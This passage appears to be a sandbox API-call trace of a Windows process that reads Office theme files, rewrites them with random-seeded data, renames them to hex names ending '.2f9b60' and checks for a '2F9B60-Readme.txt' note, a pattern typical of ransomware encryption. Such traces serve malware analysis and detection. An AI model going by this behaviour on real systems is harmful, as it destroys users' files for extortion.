NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0094.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x1183a0 [0094.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1183a0) returned 1 [0094.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1230d0) returned 1 [0094.828] NtQueryInformationFile (in: FileHandle=0xe00, IoStatusBlock=0x25a1f8f8, FileInformation=0x25a1f908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25a1f8f8, FileInformation=0x25a1f908) returned 0x0 [0094.829] NtSetInformationFile (FileHandle=0xe00, IoStatusBlock=0x25a1f8f8, FileInformation=0x25a1f908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0094.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5910) returned 1 [0094.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0094.830] FlushFileBuffers (hFile=0xe00) returned 1 [0095.003] CloseHandle (hObject=0xe00) returned 1 [0095.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107b40 [0095.177] wcscpy (in: _Dest=0x107b40, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0095.177] wcscat (in: _Dest=0x107b40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0095.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0095.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107b40) returned 1 [0095.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adc00) returned 1 Thread: id = 580 os_tid = 0xf14 [0094.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml")) returned 0x20 [0094.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml", dwFileAttributes=0x20) returned 1 [0094.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdfc [0094.811] GetFileSizeEx (in: hFile=0xdfc, lpFileSize=0x27d2f760 | out: lpFileSize=0x27d2f760*=965) returned 1 [0094.812] SetFilePointerEx (in: hFile=0xdfc, liDistanceToMove=0x3c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.812] ReadFile (in: hFile=0xdfc, lpBuffer=0x27d2f6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27d2f728, lpOverlapped=0x0 | out: lpBuffer=0x27d2f6e0*, lpNumberOfBytesRead=0x27d2f728*=0x4, lpOverlapped=0x0) returned 1 [0094.814] SetFilePointerEx (in: hFile=0xdfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fdf0 [0094.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc70 [0094.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0094.815] NtQuerySystemTime (in: CurrentTime=0x27d2f620 | out: CurrentTime=0x27d2f620*=132462177006430000) returned 0x0 [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x61616f08 [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x30a594d6 [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0xf5b9e58 [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x43dc236 [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x603ed2cf [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x55737613 [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x7f8f1e80 [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x29303469 [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x384edda5 [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x38c1efc2 [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x67545b4e [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x627f5bcd [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x65a80a87 [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x66b59fa0 [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x20d07090 [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x55d12242 [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x2192f631 [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x483c451c [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0xe5bab5b [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x7459106b [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x793ec837 [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x650349fd [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x712fed27 [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x6d467597 [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x21025948 [0094.815] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x1287b0a6 [0094.816] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x5a59ce75 [0094.816] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x79536b97 [0094.816] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x69e2e857 [0094.816] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x8639f18 [0094.816] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x768893e2 [0094.816] RtlRandomEx (in: Seed=0x27d2f610 | out: Seed=0x27d2f610) returned 0x3637ad04 [0094.826] ReadFile (in: hFile=0xdfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c5, lpNumberOfBytesRead=0x27d2f610, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x27d2f610*=0x3c5, lpOverlapped=0x0) returned 1 [0094.827] SetFilePointerEx (in: hFile=0xdfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.827] WriteFile (in: hFile=0xdfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c5, lpNumberOfBytesWritten=0x27d2f614, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x27d2f614*=0x3c5, lpOverlapped=0x0) returned 1 [0094.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fdf0 [0094.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0094.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbb0) returned 1 [0094.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0094.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f170 [0094.909] SetFilePointerEx (in: hFile=0xdfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0094.909] WriteFile (in: hFile=0xdfc, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x27d2f730, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x27d2f730*=0x10e, lpOverlapped=0x0) returned 1 [0094.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8664c0 [0094.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fe50 [0094.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fe50) returned 1 [0094.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b85fe50 [0094.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd60 [0094.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0094.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd90) returned 1 [0094.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd97300 [0094.912] sprintf (in: _Dest=0x1cd97300, _Format="%c%c" | out: _Dest="5d") returned 2 [0094.912] sprintf (in: _Dest=0x1cd97302, _Format="%c%c" | out: _Dest="ea") returned 2 [0094.913] sprintf (in: _Dest=0x1cd97304, _Format="%c%c" | out: _Dest="e8") returned 2 [0094.913] sprintf (in: _Dest=0x1cd97306, _Format="%c%c" | out: _Dest="10") returned 2 [0094.913] sprintf (in: _Dest=0x1cd97308, _Format="%c%c" | out: _Dest="d4") returned 2 [0094.913] sprintf (in: _Dest=0x1cd9730a, _Format="%c%c" | out: _Dest="93") returned 2 [0094.913] sprintf (in: _Dest=0x1cd9730c, _Format="%c%c" | out: _Dest="39") returned 2 [0094.913] sprintf (in: _Dest=0x1cd9730e, _Format="%c%c" | out: _Dest="7b") returned 2 [0094.913] sprintf (in: _Dest=0x1cd97310, _Format="%c%c" | out: _Dest="d9") returned 2 [0094.913] sprintf (in: _Dest=0x1cd97312, _Format="%c%c" | out: _Dest="4f") returned 2 [0094.913] sprintf (in: _Dest=0x1cd97314, _Format="%c%c" | out: _Dest="67") returned 2 [0094.913] sprintf (in: _Dest=0x1cd97316, _Format="%c%c" | out: _Dest="51") returned 2 [0094.913] sprintf (in: _Dest=0x1cd97318, _Format="%c%c" | out: _Dest="9c") returned 2 [0094.913] sprintf (in: _Dest=0x1cd9731a, _Format="%c%c" | out: _Dest="a9") returned 2 [0094.913] sprintf (in: _Dest=0x1cd9731c, _Format="%c%c" | out: _Dest="e1") returned 2 [0094.913] sprintf (in: _Dest=0x1cd9731e, _Format="%c%c" | out: _Dest="f3") returned 2 [0094.913] sprintf (in: _Dest=0x1cd97320, _Format="%c%c" | out: _Dest="14") returned 2 [0094.913] sprintf (in: _Dest=0x1cd97322, _Format="%c%c" | out: _Dest="58") returned 2 [0094.913] sprintf (in: _Dest=0x1cd97324, _Format="%c%c" | out: _Dest="01") returned 2 [0094.913] sprintf (in: _Dest=0x1cd97326, _Format="%c%c" | out: _Dest="6c") returned 2 [0094.913] sprintf (in: _Dest=0x1cd97328, _Format="%c%c" | out: _Dest="d1") returned 2 [0094.913] sprintf (in: _Dest=0x1cd9732a, _Format="%c%c" | out: _Dest="29") returned 2 [0094.914] sprintf (in: _Dest=0x1cd9732c, _Format="%c%c" | out: _Dest="f5") returned 2 [0094.914] sprintf (in: _Dest=0x1cd9732e, _Format="%c%c" | out: _Dest="37") returned 2 [0094.914] sprintf (in: _Dest=0x1cd97330, _Format="%c%c" | out: _Dest="84") returned 2 [0094.914] sprintf (in: _Dest=0x1cd97332, _Format="%c%c" | out: _Dest="c4") returned 2 [0094.914] sprintf (in: _Dest=0x1cd97334, _Format="%c%c" | out: _Dest="6a") returned 2 [0094.914] sprintf (in: _Dest=0x1cd97336, _Format="%c%c" | out: _Dest="2e") returned 2 [0094.914] RtlInitAnsiString (in: DestinationString=0x27d2f7a8, SourceString="5deae810d493397bd94f67519ca9e1f31458016cd129f53784c46a2e" | out: DestinationString="5deae810d493397bd94f67519ca9e1f31458016cd129f53784c46a2e") [0094.914] RtlAnsiStringToUnicodeString (in: DestinationString=0x27d2f778, SourceString="5deae810d493397bd94f67519ca9e1f31458016cd129f53784c46a2e", AllocateDestinationString=1 | out: DestinationString="5deae810d493397bd94f67519ca9e1f31458016cd129f53784c46a2e") returned 0x0 [0094.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b866840 [0094.914] wcscat (in: _Dest=0x1079c0, _Source="5deae810d49339" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\5deae810d49339") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\5deae810d49339" [0094.914] wcscat (in: _Dest=0x1079c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\5deae810d49339.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\5deae810d49339.2f9b60" [0094.914] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\5deae810d49339.2f9b60", NtPathName=0x27d2f750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\5deae810d49339.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0094.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1b776690 [0095.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776690) returned 1 [0095.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48f90) returned 1 [0095.208] NtQueryInformationFile (in: FileHandle=0xdfc, IoStatusBlock=0x27d2f7b8, FileInformation=0x27d2f7c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27d2f7b8, FileInformation=0x27d2f7c8) returned 0x0 [0095.208] NtSetInformationFile (FileHandle=0xdfc, IoStatusBlock=0x27d2f7b8, FileInformation=0x27d2f7c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0095.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0095.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0095.377] FlushFileBuffers (hFile=0xdfc) returned 1 [0095.451] CloseHandle (hObject=0xdfc) returned 1 [0095.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107cc0 [0095.639] wcscpy (in: _Dest=0x107cc0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0095.639] wcscat (in: _Dest=0x107cc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0095.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0095.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107cc0) returned 1 [0095.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5860) returned 1 Thread: id = 581 os_tid = 0xf1c [0094.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml")) returned 0x20 [0094.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml", dwFileAttributes=0x20) returned 1 [0094.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe04 [0094.833] GetFileSizeEx (in: hFile=0xe04, lpFileSize=0x2784f660 | out: lpFileSize=0x2784f660*=961) returned 1 [0094.833] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x3bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.833] ReadFile (in: hFile=0xe04, lpBuffer=0x2784f5e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2784f628, lpOverlapped=0x0 | out: lpBuffer=0x2784f5e0*, lpNumberOfBytesRead=0x2784f628*=0x4, lpOverlapped=0x0) returned 1 [0094.969] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0094.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb50 [0094.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0094.969] NtQuerySystemTime (in: CurrentTime=0x2784f520 | out: CurrentTime=0x2784f520*=132462177007990000) returned 0x0 [0094.969] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x28d86bab [0094.969] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x5dc4339c [0094.969] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x2bfa58d0 [0094.970] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x610f591a [0094.970] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x3b952d28 [0094.970] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x2efadd60 [0094.970] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x718aca87 [0094.970] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x7bab3935 [0094.970] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0xb52aa46 [0094.970] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x79d8aa65 [0094.970] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0xf67d9dc [0094.970] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x44804905 [0094.970] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x78226f14 [0094.970] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0xe98f4dd [0094.970] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x7de1b261 [0094.970] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x56dc1f76 [0094.970] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x29fc2a76 [0094.970] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x1ee40eae [0094.970] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x7daae12e [0094.970] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x57c2ca03 [0094.970] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x5652334d [0094.970] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x33eabfd8 [0094.970] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x351ad1df [0094.970] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x53285d2b [0094.970] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x2aabe765 [0094.971] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x46420569 [0094.971] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x6887288c [0094.971] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x2924dba7 [0094.971] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x53f6f783 [0094.971] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0xe7cb71e [0094.971] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x6ab2ae49 [0094.971] RtlRandomEx (in: Seed=0x2784f510 | out: Seed=0x2784f510) returned 0x75c8040c [0094.983] ReadFile (in: hFile=0xe04, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x2784f510, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2784f510*=0x3c1, lpOverlapped=0x0) returned 1 [0094.983] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.983] WriteFile (in: hFile=0xe04, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x2784f514, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2784f514*=0x3c1, lpOverlapped=0x0) returned 1 [0095.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f760 [0095.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4f0 [0095.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f4f0) returned 1 [0095.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0095.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0095.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0095.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0095.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85f4f0 [0095.181] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.182] WriteFile (in: hFile=0xe04, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2784f630, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x2784f630*=0x106, lpOverlapped=0x0) returned 1 [0095.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0095.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866440 [0095.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd00 [0095.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd00) returned 1 [0095.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0095.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd00 [0095.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fcd0 [0095.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fcd0) returned 1 [0095.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0095.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0095.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f170 [0095.199] sprintf (in: _Dest=0x1cd9f170, _Format="%c%c" | out: _Dest="c5") returned 2 [0095.199] sprintf (in: _Dest=0x1cd9f172, _Format="%c%c" | out: _Dest="ef") returned 2 [0095.199] sprintf (in: _Dest=0x1cd9f174, _Format="%c%c" | out: _Dest="18") returned 2 [0095.199] sprintf (in: _Dest=0x1cd9f176, _Format="%c%c" | out: _Dest="6b") returned 2 [0095.199] sprintf (in: _Dest=0x1cd9f178, _Format="%c%c" | out: _Dest="d9") returned 2 [0095.199] sprintf (in: _Dest=0x1cd9f17a, _Format="%c%c" | out: _Dest="e5") returned 2 [0095.199] sprintf (in: _Dest=0x1cd9f17c, _Format="%c%c" | out: _Dest="72") returned 2 [0095.199] sprintf (in: _Dest=0x1cd9f17e, _Format="%c%c" | out: _Dest="01") returned 2 [0095.199] sprintf (in: _Dest=0x1cd9f180, _Format="%c%c" | out: _Dest="1e") returned 2 [0095.199] sprintf (in: _Dest=0x1cd9f182, _Format="%c%c" | out: _Dest="66") returned 2 [0095.200] sprintf (in: _Dest=0x1cd9f184, _Format="%c%c" | out: _Dest="85") returned 2 [0095.200] sprintf (in: _Dest=0x1cd9f186, _Format="%c%c" | out: _Dest="c4") returned 2 [0095.200] sprintf (in: _Dest=0x1cd9f188, _Format="%c%c" | out: _Dest="18") returned 2 [0095.200] sprintf (in: _Dest=0x1cd9f18a, _Format="%c%c" | out: _Dest="92") returned 2 [0095.200] sprintf (in: _Dest=0x1cd9f18c, _Format="%c%c" | out: _Dest="37") returned 2 [0095.200] sprintf (in: _Dest=0x1cd9f18e, _Format="%c%c" | out: _Dest="9c") returned 2 [0095.200] sprintf (in: _Dest=0x1cd9f190, _Format="%c%c" | out: _Dest="d7") returned 2 [0095.200] sprintf (in: _Dest=0x1cd9f192, _Format="%c%c" | out: _Dest="a8") returned 2 [0095.200] sprintf (in: _Dest=0x1cd9f194, _Format="%c%c" | out: _Dest="e2") returned 2 [0095.200] sprintf (in: _Dest=0x1cd9f196, _Format="%c%c" | out: _Dest="22") returned 2 [0095.200] RtlInitAnsiString (in: DestinationString=0x2784f6a8, SourceString="c5ef186bd9e572011e6685c41892379cd7a8e222" | out: DestinationString="c5ef186bd9e572011e6685c41892379cd7a8e222") [0095.200] RtlAnsiStringToUnicodeString (in: DestinationString=0x2784f678, SourceString="c5ef186bd9e572011e6685c41892379cd7a8e222", AllocateDestinationString=1 | out: DestinationString="c5ef186bd9e572011e6685c41892379cd7a8e222") returned 0x0 [0095.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c430 [0095.200] wcscat (in: _Dest=0x1b7a64c0, _Source="c5ef186bd9" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\c5ef186bd9") 